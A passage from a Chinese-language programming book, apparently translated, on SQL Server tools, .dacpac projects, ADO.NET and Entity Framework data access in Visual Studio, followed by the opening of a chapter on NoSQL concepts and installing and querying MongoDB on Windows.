所有标准数据库管理所需的操作都可通过 SSMS 获得,因此我们可以始终检查结果、SQL 命令、测试执行计划、创建和设计现有或新数据库、建立安全要求,以及创建任何其他后端业务逻辑需要的对象,并且可以立即对其进行测试,如前一个截图所示。

编辑器中还有其他有用的可能性,因为——就像在 Visual Studio 中发生的那样——它们提供了在任何时间可用的对象的 Intellisense,编辑 SQL Server 命令、代码提示、语法错误建议等等。

程序员的经验也得到了增强,因为高级调试功能允许在 SSMS 内或甚至从 Visual Studio 本身进行调试,因此您可以启用远程调试选项并使用断点和所有常规工具,就像您在进行 C#代码调试会话一样:

工具 – SQL Server 2014

此外,您还可以打开活动监视器窗口,它将显示一个仪表板,其中包含从 SSMS 启动的任何 SQL 命令的不同使用相关统计信息:

工具 – SQL Server 2014

SQL 语言

幸运的是,关系模型稳固的基础促成了标准的创建,该标准最早于 1986 年由 美国国家标准协会ANSI)发布,并在 1987 年由 国际标准化组织ISO)跟进。

从那时起,该标准定期修订,以通过新功能增强语言。因此,2003 年的修订包括了 XML 数据类型和自动生成的值(包括标识列),并在 2006 年扩展了 XML 支持,以涵盖 XML 数据的导入/导出和 XQuery 功能。

然而,正如维基百科提醒我们:

尽管存在这些标准,但大多数 SQL 代码在不同数据库系统之间没有调整的情况下并不能完全移植。

至少我们有一个共同的背景,这使我们能够通过这些调整编写可移植的代码,在多种关系型数据库管理系统(RDBMS)中执行。

在 SQL Server 中实现的 SQL 版本被称为 T-SQLTransact-SQL)。正如维基百科提醒:

T-SQL 在 SQL 标准的基础上扩展了过程编程、局部变量、各种字符串处理、日期处理、数学等方面的支持函数。

此外,你还可以在 DELETEUPDATE 语句中找到变化。

所有这些附加功能使得 Transact-SQL 成为了一个 图灵完备 语言。

小贴士

注意,在可计算理论中,如果一个数据处理规则系统(如计算机的指令集、编程语言或细胞自动机)能够模拟任何单带图灵机,那么它就被认为是图灵完备的或计算上通用的。今天广泛接受的编程语言,如 .NET 语言、Java、C 等,都被认为是图灵完备的。(维基百科:en.wikipedia.org/wiki/Turing_completeness)。

正如我们所说,T-SQL 是一种非常强大的语言,它允许变量声明、流程控制、改进 DELETEUPDATE 语句以及 TRY/CATCH 异常处理等功能。要获取 T-SQL 语言的完整参考,请访问 msdn.microsoft.com/en-us/library/bb510741.aspx,因为这种语言的细节值得一本专著。

Visual Studio 中的 SQL Server

SQL Server 以不同的形式提供给 Visual Studio 程序员。首先,我们有一种项目类型,名为 SQL Server Database Project,你可以选择它就像选择另一个常见的可编程模板一样。

只需选择 新建项目 并向下滚动到 SQL Server。通常(这可能取决于你机器上已安装的其他模板),你会找到这种类型的项目,一旦选择,就会创建一个解决方案结构。

初始时,你将发现解决方案资源管理器非常空,查看添加新菜单将显示这种类型的项目为数据库操作提供的众多选项(参见图表):

从 Visual Studio 中的 SQL Server

如我们所见,以这种方式提供了大量不同的数据库对象,包括 SQL Server 管理的大多数内部对象、外部文件、安全方面、CLR 集成等等。

第一步是选择菜单中的工具/连接到数据库选项,以便将我们的项目链接到已安装的AdventureWorks数据库。你将看到一个常规的添加连接对话框,你可以选择一个数据库。此时,查看服务器资源管理器将允许你查询数据和其他选项。

注意,尽管 Visual Studio 提供的选项不如在 SSMS 内部那么多,但其中最实用的数据管理选项仍然会出现,包括数据可视化,因此我们不必在许多常规的开发场景中打开 SSMS。

当你以这种方式打开 AdventureWorks2014 数据库时,你应该会找到一个类似于下一张截图的用户界面(注意,对于程序员来说,最重要的功能已经提供):

从 Visual Studio 中的 SQL Server

如果你启用了解决方案资源管理器中的显示所有文件,你将发现编译应用程序后,binobj目录中会出现许多文件,其中之一具有.dacpac扩展名。

这些文件为我们提供了许多可能性,正如 Jamie Thomson 在文章《Dacpac braindump - 什么是 dacpac?》中指出的,该文章可在官方 SQL 博客上找到(sqlblog.com/blogs/jamie_thomson/archive/2014/01/18/dacpac-braindump.aspx):

在那个单一文件中,收集了可以在 SQL Server 数据库中找到的对象定义,例如表、存储过程、视图,以及一些实例级别的对象,如登录名等(SQL Server 2012 支持的对象完整列表可以在 DAC 支持 SQL Server 对象和版本中找到)。由于 dacpac 是一个文件,这意味着你可以像处理任何其他文件一样处理它,存储它、通过电子邮件发送它、在文件服务器上共享它等……这意味着它们是分发许多对象定义(也许甚至是一个完整的数据库)的绝佳方式。或者,正如微软所说,这是一个自包含的 SQL Server 数据库部署单元,它使数据层开发人员和数据库管理员能够将 SQL Server 对象打包成一个可携带的工件,称为 DAC 包,也称为 DACPAC。

这些项目的另一个有趣特性可以通过在项目菜单中导航到导入 | 数据库来发现。如果你选择这个选项,你将看到一个对话框,你可以从中选择三种不同的数据来源:本地、网络和 Azure。

在我们的案例中,如果我们选择本地选项,我们将看到所有可用的数据库实例列表(这取决于我们机器的配置):

SQL Server from Visual Studio

完成此选项后,导入数据的过程将开始——这可能需要一些时间,具体取决于数据的大小、网络速度(对于网络连接)或互联网带宽(对于 Azure 连接)。

当过程结束时,你将在项目中找到一系列元素,每个元素都代表你连接的数据库中可用的对象:表、模式、函数、存储过程、用户、登录等。

换句话说,你将在项目中以元素为单位表示整个数据库。查看文件显示,其内容取决于其性质:对于存储过程,你会看到创建和定义它的 SQL 语句,但对于表,你会看到设计编辑器和从 Visual Studio 更改它的其他编辑选项,如下一张截图所示:

SQL Server from Visual Studio

你在这个项目中可能对设计或任何对象的定义所做的任何修改,在将项目编译成.dacpac文件时都会被存储,并且可以轻松地在你的选择的目标 DBMS 中恢复或创建。

注意,.dacpac文件只是一个 ZIP 文件,因此你可以将此扩展名添加到文件中并检查其内容,这些内容以 XML 语法表达,它们只是你创建的项目的内容。它们只是以特殊的方式打包:它们传达了 Open Packaging Convention,这是由 Microsoft 创建的标准格式,以更轻便的方式将这些文件聚集在一起。

这种格式现在被许多 Microsoft 世界内外应用程序使用:AutoDesk、AutoCad、Siemens PLM、MathWorks 等。

因此,这类项目是管理数据库解决方案的完美补充,你可以将它们作为部署过程的一部分。如果你完成了你的修改,你可以像处理任何可执行文件一样构建项目。

一旦你的项目构建完成,你可以在现有的数据库管理系统(DBMS)中发布结果。为此,你需要选择发布选项,并且你将需要在发布配置对话框中获取初始数据,例如连接字符串、数据库名称等。

此外,这种发布配置可以保存并存储以供以后使用。与配置文件相关的三个按钮允许你加载已存在的配置文件,从当前配置创建配置文件,以及以不同的名称保存配置文件。

出现了一些其他有趣的选择,例如编辑数据库连接字符串(例如,在另一个 SQL Server 实例中复制它),还可以通过 高级 按钮获取更详细的信息:

SQL Server from Visual Studio

高级 按钮值得一看,因为目标中最终创建的每个方面都会在那里得到覆盖。许多选项都与我们希望在目标 DBMS 中转换数据的方式有关。

注意,你有三个选项卡,允许配置过程的各个方面,包括你想要删除的元素(删除)和想要忽略的元素(忽略)。下一张截图显示了此对话框:

SQL Server from Visual Studio

当一切正常时,过程将开始,你将能够从 Visual Studio 中直接看到创建的对象的目标;或者,你可以像往常一样打开 SSMS 并直接检查结果。

Visual Studio 中的数据访问

使用 Visual Studio,你可以创建连接到任何类型数据的应用程序,覆盖几乎所有格式和位置上的数据库产品或服务:无论是从本地机器、局域网服务器,还是位于云中的位置。

IDE 允许你探索数据源或创建对象模型以在内存中存储和操作数据,并且当然可以在用户界面中建立数据绑定技术,无论你想要哪种类型的 UI:控制台、Windows 窗体、Windows 表现基金会、使用 ASP.NET 创建的网站等等。

此外,Microsoft Azure 为 .NET、Java、Node.js、PHP、Python、Ruby、移动应用程序以及 Visual Studio 中的工具提供了 SDK,以便连接到 Azure 存储。

下表显示了 IDE 中最近版本可用的数据库连接的多样性:

Microsoft Azure (SQL 和 NoSQL)
SQL Database (Azure)
SQL Server Stretch Database (Azure)
Azure Redis Cache
SQL
SQL Server 2005* - 2016
Firebird
NoSQL
MongoDB
OrientDB

你可以在msdn.microsoft.com/en-us/library/wzabh8c4(v=vs.140).aspx找到更多关于这个主题的信息。

除了这些直接的可能性之外,还有许多其他供应商允许通过 NuGet 包将 Visual Studio 集成。当使用主 工具 菜单中的 扩展和更新 选项时,你还有其他一些选项可供选择。

.NET 数据访问

.NET 数据访问——包括新的.NET Core——基于ADO.NET,它由一组定义接口以访问任何类型数据源的类组成,无论是关系型还是非关系型。IDE 包含了一系列工具,旨在帮助连接到数据库并创建ORMs对象关系模型),将数据库中的对象映射到.NET 语言世界的对象。

IDE 的选项包括在内存中操作数据和在开发时间以及运行时通过多个用户界面和对话框向用户展示数据。

小贴士

注意,为了在 ADO.NET 中使用,数据库必须有一个自定义的 ADO.NET 数据提供程序,或者它必须公开一个可用的 ODBC 或 OLE DB 接口。默认情况下,提供了 SQL Server 的 ADO.NET 数据提供程序以及 ODBC 和 OLE DB。然而,您可以在msdn.microsoft.com/en-us/data/dd363565找到提供程序的详尽列表,其中包括但不限于 Oracle、MySQL、Sybase、IBM、SQLLite 和其他。

Visual Studio 拥有多个工具和设计器,它们与 ADO.NET 一起工作,以帮助您连接到数据库,在内存中操作数据,并将数据展示给用户。ADO.NET 的官方架构图在 MSDN 的这张图片中展示:

.NET 数据访问

如您所见,在这个图中,我们有两套类:我们使用的.NET Framework 数据提供程序的相关类和与 DataSet 对象相关的类,它是原始数据库中包含的部分(或全部)数据表、关系和约束的内存表示。

这两套类都包括数据维护,尽管数据集提供了一些额外的功能,这在许多情况下非常有用,例如批量更新和提供程序无关的数据存储。有了这个功能,一些原本不可能的事情变得可行,例如通过关系将两个表链接起来,独立于这些表可能的多样来源(比如说,一个 Oracle 表,一个 SQL 服务器表和一个 Excel 电子表格)。在执行时强化这些关系,建立其他情况下难以编码的复杂业务逻辑。

使用 ADO.NET 基本对象

让我们创建一个新的 WPF 项目,我们将使用它从我们的数据库中读取一些数据,并在 WPF 窗口内的数据网格中展示它。

一旦我们创建了基本项目,让我们添加一个新的数据集。为此,只需在项目选项中选择添加新项,您将看到一个空白的设计表面,您可以在其中拖放 Solution Explorer 中指向AdventureWorks数据库的任何表。选择Person表后,您可以通过在 Solution Explorer 的顶部图标中选择该选项来添加代码映射。结果您将有两个窗口:一个显示数据结构,另一个显示代码架构,如下面的截图所示:

使用 ADO.NET 基本对象

你可以看到,在你的解决方案中创建了一个新的嵌套文件集,显示了几个包含与之前提到的连接和关系映射相关的类定义的文件:

使用 ADO.NET 基本对象

查看生成的 C#文件的内容将显示大量功能,为我们提供了大多数 CRUD 操作、存储过程调用、连接管理、搜索等所需的大部分资源。

配置用户界面

我们可以向我们的空窗口添加一个新的DataGrid对象,稍后用我们读取的数据填充。

当窗口显示时直接获取数据的第一个步骤是在 XAML 编辑器中在<window>声明末尾添加一个名为Loaded的事件:

<Window 

   x:Class="WpfData1.MainWindow" mc:Ignorable="d" Loaded="Window_Loaded" Title="MainWindow" Height="350" Width="622">

在 C#代码中,这个声明创建了一个window_load事件处理程序。接下来,我们可以以非常简单的方式使用在定义我们的模型时创建的PersonTableAdapter对象来加载和绑定数据到我们的 DataGrid 对象:

private void Window_Loaded(object sender, RoutedEventArgs e)
{
  var pta = new PersonTableAdapter();
  dataGrid.ItemsSource = pta.GetData().DefaultView;
}

在这里,PersonTableAdapter代码负责建立与数据库的连接,加载其内部SQLCommand对象中先前定义的数据,并返回一个适合分配给 DataGrid 的DataView对象,以便自动创建列(与表中的列数相同),如下一张截图所示:

配置用户界面

顺便说一句,数据网格标题上方的黑色工具栏是 Visual Studio 提供的调试选项,它显示/隐藏布局装饰器,启用/禁用选择,并且可选地可以带你到一个新窗口,Visual Tree,在那里你可以检查 XAML 用户界面中的所有元素,并在运行时检查它们的依赖关系和值,如指向列表中LastName Miller的箭头所示。

如果你查看 TableAdapter 和 DataSet 对象的属性,你会发现一组非常丰富的对象,为各种数据操作做好了准备。

这只是一个简单的演示,用来检查如果你使用 Visual Studio 为我们创建的 ORM 对象,使用 ADO.NET 读取数据有多容易。然而,由于其他选项在访问关系数据库时更受欢迎,尤其是 Entity Framework,因此 ADO.NET 并不是现在最常用的技术。

Entity Framework 数据模型

按照微软的说法,Entity Framework 如下:

Entity FrameworkEF)是一种对象关系映射技术,它使.NET 开发者能够使用领域特定对象与关系数据一起工作。它消除了开发者通常需要编写的多数数据访问代码的需求。Entity Framework 是微软为新的.NET 应用程序推荐的对象关系映射建模技术。

注意

你可以在msdn.microsoft.com/en-us/data/ef.aspx找到一个关于 Entity Framework 的不错但基本的介绍视频。

如前所述,最新版本是 .NET Core 1.1,它仍在社区的采用阶段,所以我们在这里使用的是 6.0 版本,该版本完全稳定且经过广泛测试。在这个版本中,你有三个初始选择:从一个现有的数据库开始,从一个空模型开始,或者从一个现有的代码开始。

在第一种情况下,称为数据库优先,会建立与数据库管理系统的连接,从服务器读取元数据并创建所选对象的视觉模型。从这个模型中,生成一组类,默认情况下包括广泛的 CRUD 和搜索操作。

与此类似的是 模型优先 选项的行为,其中你从头开始,在图形编辑器中设计一个模型,类的生成过程随后进行。可选地,你可以根据连接字符串在关系数据库管理系统(RDBMS)中生成实际的数据库。在任何情况下,当底层数据库发生变化时,都可以自动更新你的模型,并且相关的代码也会自动生成。数据库生成和对象层代码生成都是高度可定制的。

在第三种选项中,代码优先,你从一个现有的代码开始,并通过启发式过程从该代码中推断出相应的模型,其余的选项与其他两种场景类似。

对于对实体框架的更深入的了解,我推荐 Mastering Entity FrameworkRahul Rajat Singh,Packt Publishing (www.packtpub.com/application-development/mastering-entity-framework)。

为了演示下一个示例,我正在使用数据库优先的方法来展示使用实体框架最常见的操作,但这次将项目类型更改为 ASP.NET MVC 应用程序,其中用于数据访问的代码应完全独立于消耗数据的 UI。

因此,让我们通过在可用的项目中选择该选项来创建一个新的 ASP.NET 应用程序。我们将根据版本和项目架构提供几种项目变体:

实体框架数据模型

我在 更改身份验证 中选择了 无身份验证 功能,以避免自动创建数据库。当点击 确定 时,将生成一个新的项目(使用我们在上一章中看到的技术),最终我们将得到一个基本但功能齐全的项目,没有数据访问。

到目前为止,Models 文件夹应该是空的。因此,右键单击该文件夹,选择 添加新项,然后在 数据 菜单中选择 ADO.NET 实体数据模型。我将我的命名为 AWModel 并继续。在此阶段,你必须选择要使用的设计器类型,它决定了模型的内容。我选择了 从数据库的 EF 设计器

现在,是时候选择连接了。默认情况下将显示最后使用的连接,对话框将在底部的 RichTextBox 中生成连接字符串。如果 AdventureWorks 没有显示,请手动选择要使用的连接。

然后,是时候选择你想要工作的表,以及其他对象,如视图和存储过程。所有这些都将用于生成模型。

对于这个演示,我选择了一个具有几个列的表以简化代码阅读,所以我选择了HumanResources.Department,只有四个字段:

The Entity Framework data model

一个简单的架构应该出现在设计窗口及其属性中,在底部窗口映射详情中详细说明,该窗口指定了如何在 C# 语言中将数据库中定义的原数据类型和限制建模,以便由 Entity Framework 类管理。

这很重要,因为它允许你指定 EF 生成器在创建实际代码时的行为。

这里还有一个需要记住的重要功能。通常情况下,更改发生在原始数据库中,包括列格式化或更改数据类型,添加(或删除)表,更改关系等。

在这些情况下,上下文相关的从数据库更新模型选项很有用。整个模型将被重新读取,相应的更改将在映射详情部分和生成的代码中更新,生成的代码将被重新生成:

The Entity Framework data model

现在,我们需要了解如何修改代码生成。这是通过 T4 模板完成的,这些是具有 .tt 扩展名的文本文件,你可以在生成的文件中找到它们,与模型的文件相关联。

包含这些文件的原因有两个:它们允许用户决定代码的生成方式,并简化了生成过程(记住,Visual Studio 使用 CodeDOM 等技术内部生成代码)。

查看生成的类,你会了解到Department类是如何创建的,以及一个AdventureWorks2014Entities类,它将是数据操作的开始点。

好吧,现在我们需要控制器和视图来向用户提供数据操作的典型 CRUD 选项。再次,IDE 来帮忙。选择添加控制器,将出现一个对话框以选择可用的控制器类型。

注意

注意,你需要首先编译项目,因为可能需要实际的程序集来生成代码。

此外,请记住,由于与 Entity Framework 的自然集成,将提供一个涵盖所有所需控制器和视图的选项。因此,在 添加 Scalffold 对话框中,选择 使用 Entity Framework 的 MVC 5 控制器与视图选项。这将生成测试基本 CRUD 数据选项所需的所有代码:

实体框架数据模型

你仍然会被问到要使用哪个模型(在我的情况下是 Department),以及关于 DataContext 类(AdventureWorks2014Entities)。当助手完成时,将生成几个新文件。

首先,我们将有一个新的 DepartmentsController 控制器,其中包含我之前提到的 CRUD 操作。此外,一个新的 Departments 文件夹出现,显示了五个新的视图,对应于 创建删除详情(仅查看一个部门)、编辑索引,它显示了所有部门的整个列表,以及一些允许你访问其他选项的链接。

该控制器类的第一行指示了建议的操作方式:

private AdventureWorks2014Entities db = new AdventureWorks2014Entities();

// GET: Departments
public ActionResult Index()
{
  return View(db.Departments.ToList());
}

DBContext 对象将恢复所有部门并将它们转换为 List<Department>,这是视图期望的模型(查看 Views/Departments 区域中的 Index.cshtml 文件)。当你启动它时,你需要在 URL 中引用控制器,因为默认情况下,应用程序配置为呈现 Home 控制器和 Index 动作方法。

如果你输入 http://localhost:[端口号]/Departments,路由模式将带你到 Departments 控制器中的 Index 方法,以下列表将显示出来(当然,无论你使用哪个浏览器都无关紧要):

实体框架数据模型

如果一切顺利,你将能够通过视图自动呈现的 编辑删除 链接来更改数据,选择 详情 选项将带你到不同的视图,仅显示所选元素。

摘要

在本章中,我们回顾了关系模型中数据访问的基本知识。首先,我们检查了关系模型背后的概念,包括其基本和基本原理、其架构以及关系表的性质。

然后,我们回顾了 Microsoft 提供的用于处理这些模型的工具,例如 SQL Server 2014 Express 版本和 SQL Server Management StudioSSMS),并复习了它们在编辑、调试、分析执行等方面的程序性和操作提供。

在简要介绍 T-SQL 语言后,我们介绍了 Visual Studio 提出的一个不太为人所知的项目类型,SQL Server 项目,并看到了我们如何创建和管理帮助我们在其他 RDBMS 中管理和管理任何数据库并复制其结构的包(.dacpac 文件)。

最后,我们回顾了在 Visual Studio 内部的一些数据访问选项,展示了如何使用两种广为人知且被广泛接受的技术,即 ADO.NET(使用 Windows Presentation Foundation 应用程序)和 Entity Framework,在 ASP.NET MVC 应用程序中访问数据。

在下一章中,我们将从关系型数据库模型切换到 NoSQL 模型,并研究其优缺点,同时以两种方式与 MongoDB NoSQL 数据库进行交互:一种是利用产品提供的工具,另一种是从 Visual Studio 进行操作。

第七章:NoSQL 数据库编程

在本章中,我们将回顾一个新兴的数据库范式,它完全改变了数据结构,NoSQL 数据库

简而言之,我将涵盖以下主题:

  • 关于 NoSQL 数据库及其在当前开发中的作用的历史背景

  • 该领域的可用方案及其主要优缺点

  • 不同的 NoSQL 数据库所遵循的架构模型

  • MongoDB 作为首选的 NoSQL 数据库及其基础和主要特性

  • MongoDB 中的 CRUD 操作

  • 我们将以如何在 Visual Studio 中集成和使用 MongoDB 以及在 IDE 内管理 CRUD 操作的回顾结束

在过去几年中,谷歌、易贝、Facebook、博世、福布斯、领英、万豪、贝宝、瑞安航空、赛门铁克或 Yammer 等公司都有使用这些数据库的解决方案,仅举几个例子。

如果我们查看专业网站 DB-Engines 发布的统计数据,显示使用率的成果非常清晰,其中一些非关系型数据库出现在目前使用的前十名中(尤其是 MongoDB):

NoSQL 数据库编程

因此,围绕这些数据库系统出现了一种日益增长的趋势,MongoDb 出现在第四位尤其有意义。前面提到的前五家公司使用 MongoDb 用于不同的目的和场景。

简要的历史背景

直到 90 年代中叶,没有人会怀疑 SQL 和关系型数据库是 事实上的 标准,当时大多数商业实现都是基于这个假设。

历史上的例子包括 IBM、Oracle、SQL Server、Watcom、Gupta SQLBase 等。然而,随着时间的推移,一些声音开始质疑当时已被称为 阻抗不匹配 的问题,即当在面向对象的语言中编程到这些数据库时,数据和源代码的不同表示形式。

这在对象或类定义必须以某种方式映射到数据库(无论是表还是关系模式)时明显表现出来。

由于两个世界支持的不同数据类型,特别是标量类型及其操作语义(例如,不同字符串解释的排序规则),出现了其他问题,尽管面向对象的语言只考虑这个方面在排序例程中,字符串也不像在 RDBMS 系统中那样被视为固定。

此外,两者之间在结构和完整性上存在差异,更不用说在操作和事务中的其他操作差异了。

因此,提出了关于面向对象数据库的新建议,其中信息将以一种方式存储,使得在两个世界之间建立对应关系变得简单直接。然而,这些提议并没有进入商业领域,实际上,只有一些利基领域,如工程和空间数据库、高能物理、一些电信项目和分子生物学解决方案,实际上使用了这种方法。

按照 Martin Fowler 的话说,问题之一是人们在经典数据库中做了大量的集成,这使得改变这种范式变得非常困难。

NoSQL 世界

随着社交媒体的巨大发展,数据需求也增加了。立即存储和检索大量数据的需要,导致一些参与该问题的公司开始考虑可能的替代方案。

因此,像 BigTable(谷歌)和 Dynamo(亚马逊)这样的项目是解决这个问题的首批尝试之一。这些项目激发了一场新的运动,我们现在称之为 NoSQL 运动,这个术语是由 Johan Oskarsson 在加利福尼亚州关于这些主题的会议上提出的,为此他创建了 Twitter 话题标签#NoSQL。

我们可以将 NoSQL 运动定义为一种广泛的管理数据库类别,它在重要方面与关系数据库的经典模型(RDBMS)不同,最显著的一点是它们不使用 SQL 作为主要的查询语言。

存储的数据不需要固定的结构,如表。结果?它们不支持 JOIN 操作,并且不全面保证ACID原子性一致性隔离性持久性)特性,这些是关系模型的核心。此外,它们通常以非常有效的方式水平扩展。

提醒一下:四个 ACID 特性定义如下:

  • 原子性:这是关系模型的关键;由多个动作组成的操作不应在中间失败。否则,数据将处于不一致的状态。整个操作集被视为一个单元。

  • 一致性:这扩展到任何动作之后数据库的前后状态。

  • 隔离性:除了之前的考虑,数据库中事务完成后不应注意到任何副作用。

  • 持久性:如果一个操作正确结束,系统将不会将其撤销。

NoSQL 系统有时被称为不仅 SQL,以强调它们也可以支持 SQL 等查询语言,尽管这一特性取决于实现和数据库类型。

学术研究人员将这些数据库称为结构化存储数据库,这个术语也涵盖了经典的关系数据库。通常,NoSQL 数据库根据它们存储数据的方式分类,包括如键值(Redis)、BigTable/列族(Cassandra、HBase)、文档数据库(MongoDb、Couch DB、Raven DB)和面向图数据库(Neo4j)等类别。

随着实时网站的兴起,很明显,需要提高处理大量数据的能力。将数据组织在类似水平结构中的解决方案得到了企业共识,因为它可以支持每秒数百万个请求。

许多人尝试根据不同的方面(如可扩展性、灵活性、功能性等)对现在在 NoSQL 世界中发现的多种不同提供方案进行分类。Scofield 和 Popescu(NoSQL.mypopescu.com/post/396337069/presentation-NoSQL-codemash-an-interesting)提出的这些分类之一,根据以下标准对 NoSQL 数据库进行分类:

性能 可扩展性 灵活性 复杂性 功能性
键值存储 可变(无)
列存储 中等 最小
文档存储 可变(高) 可变(低)
图数据库 可变 可变 图论
关系数据库 可变 可变 中等 关系代数

与 RDBMS 相关的架构变化

因此,在使用这些模型之一时,首先要明确的是清楚地识别哪个模型更适合我们的需求。让我们快速回顾这些不平等的架构方法:

  • 键/值提议类似于今天在网络上使用的其他轻量级存储系统,特别是localStoragesessionStorageAPI。它们允许在本地系统的专用区域对网页进行读写操作。存储以成对的形式组织,左侧是我们稍后用于检索相关值的键。

    这些数据库不关心存储的信息类型(无论是数字、文档、多媒体等),尽管可能存在一些限制。

  • 文档提供方案由简单的文档组成,其中文档可以是复杂的数据结构:

    • 通常,此类数据使用 JSON 格式表示,这是目前使用最广泛的格式,尤其是在网络环境中。

    • 架构允许你读取文档的片段或更改或插入其他片段,而不会受到任何模式的约束。

    • 模式的缺失,对于许多人来说,被认为是 NoSQL 数据库的最好特性之一,但也存在一些缺点。

    • 其中一个缺点是,当我们从某人(例如,一个名字或一个账户)恢复一些数据时,你是在假设一个隐式模式,正如 Fowler 所命名的那样。人们默认认为一个人有一个名字字段或账户字段。

    • 实际上,大多数实现都依赖于 ID 的存在,这在实践中就像键/值存储中的键一样工作。

    • 因此,我们可以将这些两种方法视为相似,并且属于一种面向聚合的结构类型。

  • 在列族模型中,结构定义了一个单一键(称为行键),与之相关联,你可以存储列族,其中每个列都是一个相关信息的集合。

    • 因此,在这个模型中,访问信息的方式是使用行键和列族名称,因此你需要两个值来访问数据,但模型仍然保留了聚合模型的想法。
  • 最后,图导向模型将信息分解成更小的单元,并以非常丰富、紧密的方式将这些单元联系起来。

    • 他们定义了一种特殊语言,允许以在其他类型数据库(包括 RDBMS)中难以表达的方式复杂交织。

如我们之前提到的,大多数 NoSQL 数据库没有在查询中执行连接的能力。因此,数据库模式需要以另一种方式设计。

这导致了在关系数据需要在 NoSQL 数据库中管理时出现几种技术。

查询多个查询

这个想法依赖于这些数据库典型的快速响应特性。为了在简单请求中获取所有数据,通常会链式执行多个查询以获取所需的信息。

如果性能损失不可接受,其他方法也是可能的。

非规范化数据的问题

在这种情况下,问题通过一种独特的方法得到解决:不是存储外键,而是将相应的外值与模型数据一起存储。

让我们想象一下博客条目。每个条目也可以关联并保存用户名和用户 ID,因此我们可以读取用户名而不需要额外的查询。

缺点是,当用户名更改时,修改将不得不在数据库中的多个地方存储。因此,当读操作(相对于写操作)的平均值相当大时,这种方法很方便。

数据嵌套

正如我们将在 MongoDB 的实践中看到的那样,一种常见的做法是基于将更多数据放在更少的集合中。在实践中,这意味着在之前想象的博客应用程序中,我们可以在博客帖子文档中存储评论。

这样,一个查询就可以获取所有相关的评论。在这种方法中,只有一个文档包含执行特定任务所需的所有数据。

实际上,由于这些数据库中没有固定的模式,这种做法已经变成了一个事实上的实践。

小贴士

换句话说,这里遵循的哲学是尽可能地将数据保存得使查询所需的存储单元数量最小(理想情况下,只有一个)。

使用的术语也会发生变化。以下表格简要说明了 SQL 和 NoSQL 数据库之间在关系方面的等价性:

SQL MongoDB
数据库 数据库
集合
文档或 BSON 文档
字段
索引 索引
表连接 嵌入式文档(带链接)
主键(唯一列或列组合) 主键(在 MongoDB 中自动设置为_id字段)
聚合(例如,按组) 聚合管道

关于 CRUD 操作

在本章中我们将使用的 MongoDB 的情况下,一个读取操作是对特定文档集合的查询。查询指定了(条件)标准,以确定 MongoDB 必须返回给客户端的文档。

任何查询都需要表达输出中所需的字段。这通过投影来解决:一个语法表达式,列出了指示匹配文档的字段。MongoDB 的行为遵循以下规则:

  • 任何查询都是针对单个集合的

  • 查询语法允许您建立过滤器、排序和其他相关限制

  • 除非sort()方法成为查询的一部分,否则不使用预定义的顺序

  • 所有 CRUD 操作使用相同的语法,在读取和修改操作之间没有区别

  • 具有统计特性的查询(聚合查询)使用$match 管道来允许访问查询的结构

传统上,即使在关系型模型中,那些改变信息(创建、更新或删除)的操作也有它们自己的语法(在 SQL 世界中是 DDL 或 DML)。在 MongoDB 中,它们被称为数据修改操作,因为它们在一个单独的集合中修改数据。然而,对于更新操作,通常会有一个概念上的划分,以区分点更新(修改)和完全更改的更新(替换)。在这种情况下,只有_id字段被保留。

总结来说,操作提供可以概括如下:

  • 添加信息是通过插入操作完成的(要么是将新数据添加到现有集合中,要么是添加新文档)

  • 变更采用两种形式:更新修改现有数据,删除操作则完全从给定的集合中删除数据

  • 这三个操作在单个过程中不会影响超过一个文档

  • 如前所述,更新和删除可以使用不同的标准来确定哪些文档被更新或删除:

    • 这些操作使用的语法与纯读取查询使用的语法有明显的相似性

    • 实际上,其中一些操作是管道化的,也就是说,通过链式调用与前面的查询相链接

因此,在 MongoDB 的情况下,我们会有一个如下所示的架构:

关于 CRUD 操作

MongoDB on Windows

当然,如果我们想遵循本章中的示例,需要在我们的本地机器上安装 MongoDB。你可以从官方网站(www.mongodb.com)进行安装,那里提供了适用于最流行操作系统的安装软件(Windows、Mac、Linux 和 Solaris)。

你还会找到产品的不同版本,包括针对 Mongo 不同版本的 Enterprise 版本。为了本主题的目的,我们可以使用流行的 Community Edition Server 版本,并使用过程生成的.msi文件下载和安装它。

根据文档说明,安装程序包括所有其他软件依赖项,并将自动升级之前安装的任何旧版 MongoDB。当前版本(在撰写本文时)是 3.2.6,并且会定期更新。这个过程只需几秒钟:

MongoDB on Windows

文件结构和默认配置

安装的结果,一组文件将出现在Program Files/MongoDB目录中,包含许多实用程序和工具,以及服务器本身。需要关注的主要文件是mongod.exe,它是服务器可执行文件,以及命令行实用程序(mongo.exe),它提供了一套交互式选项,并允许数据操作。

如果你启动服务器,将弹出一个命令窗口,显示一些默认配置参数:

  • 它在c:\data\db创建一个默认的数据目录,这是其内部数据以及用户的默认物理位置。在此目录中,默认创建一个日志数据文件。可以使用mondod –dbpath U:\datapath命令进行更改。

  • 另一个存储位置在c:\data\db\diagnostic.data初始化,专门用于活动监控。

  • 端口27017被分配用于通过 TCP 监听连接。你可以在配置中更改它,或者通过带有--port [number] 参数调用Mongod.exe

在这一点上,你可以开始与数据库交互。为此,在命令行方式下,你应该使用mongo.exe。一旦启动,你可以请求帮助,并将显示初始命令列表。

一个简单的show dbs命令将输出,在我的情况下,有两个现有的数据库(之前安装的数据库不会删除,因为它们位于另一个目录):

文件结构和默认配置

为了连接到特定的数据库,我们可以像截图所示那样输入use <db_name>。此命令还允许创建一个新的数据库。因此,如果数据库存在,MongoDB 将切换到它;否则,它将创建一个新的数据库。

一个更有用的功能允许你请求对具体数据库的帮助。例如,如果我们的Personal数据库包含一个People集合,我们可以使用以下命令请求具体帮助:

use Personal
db.Personal.help()

另一个有用的实用工具是 mongoimport.exe,它允许您从可能拥有的物理文件中导入数据。我们将使用此工具导入从国际自行车联盟([www.uci.ch/road/ranking/](http://www.uci.ch/road/ranking/))获得的 2016 年统计数据扁平 JSON 文件。一旦我们将文件移动到 c:\data\db 目录(无论如何都可以从另一个位置完成),我们就可以使用以下命令将此数据导入到新的数据库中:

mongoimport --jsonArray --db Cyclists --collection Ranking16 < c:\data\db\Ranking15.json
2016-05-06T13:57:49.755+0200    connected to: localhost
2016-05-06T13:57:49.759+0200    imported 40 documents

在切换到数据库后,我们可以开始查询数据库并找到我们集合中的第一个文档:

文件结构和默认配置

如您所见,第一个命令告诉我们插入的文档数量,下一个命令检索第一个文档。这里有一点需要指出,那就是文档中的 _id 元素。它是导入过程自动插入的,以便在集合中唯一标识每个文档。

一些有用的命令

通常,我们可以使用 Mongo 提供的庞大命令集以不同的方式查询数据库。例如,如果我想列出所有来自大不列颠的自行车手,我可以编写以下代码:

